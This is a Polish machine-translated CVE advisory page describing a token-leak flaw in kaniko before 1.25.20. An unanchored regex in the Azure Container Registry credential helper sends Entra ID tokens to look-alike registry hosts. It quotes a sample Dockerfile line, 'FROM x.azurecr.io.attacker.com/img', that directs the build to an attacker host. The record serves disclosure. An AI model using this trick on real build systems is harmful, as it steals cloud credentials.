CVE-2026-105769
>_ Opis
Tłumaczenie automatyczne – może zawierać nieścisłości.
kaniko przed wersją 1.25.20 może wysłać token dostępu Microsoft Entra ID (Azure AD) dla Azure Resource Manager do hosta rejestru kontrolowanego przez osobę atakującą. kaniko używa pomocnika poświadczeń Azure Container Registry github.com/chrismellard/docker-credential-acr-env, który decyduje, czy host jest rejestrem ACR z niezakotwiczonym wyrażeniem regularnym, więc każda nazwa hosta zawierająca .azurecr.io, .azurecr.cn, .azurecr.de lub .azurecr.us jest akceptowana. kaniko konsultuje się z tym pomocnikiem w przypadku każdego rejestru, który nie ma poświadczeń w konfiguracji Dockera i nie jest rejestrem Google lub Amazon ECR, przed skontaktowaniem się z rejestrem. Plik Dockerfile odwołujący się do obrazu na podobnym hoście, na przykład FROM x.azurecr.io.attacker.com/img lub COPY --from=<image>, powoduje, że pomocnik uzyskuje token z tożsamości platformy Azure kompilacji (zmienne środowiskowe jednostki usługi, token tożsamości federacyjnego obciążenia lub tożsamość zarządzana) i wysyła go do https://<host>/oauth2/exchange. Osoba atakująca może użyć tokenu w odniesieniu do Azure Resource Manager z przypisaniami ról tożsamości do czasu jej wygaśnięcia i może wymienić go na poświadczenia w dowolnym rejestrze ACR, do którego ma dostęp tożsamość. Nie jest wymagana instrukcja RUN ani naciśnięcie. Ten problem został rozwiązany w wersji 1.25.20.
>_ Słabości (CWE)
>_ Referencje
- https://github.com/chainguard-forks/kaniko/pull/495
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- https://github.com/chrismellard/docker-credential-acr-env/issues/21
- https://pkg.go.dev/vuln/GO-2026-6225
Dane podatności pochodzą z oficjalnych źródeł (CVE® List / NVD). Opisy po polsku są tłumaczone automatycznie i mogą zawierać nieścisłości – na stronie rekordu można wyświetlić wersję angielską.
This product uses the NVD API but is not endorsed or certified by the NVD.
Copyright © 1999–2026, The MITRE Corporation. CVE is a registered trademark and the CVE logo is a registered trademark of The MITRE Corporation.
CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN PROVIDED BY MITRE ARE PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND.
NVD Terms of Use / CVE® Terms of Use / nvd.nist.gov / cve.org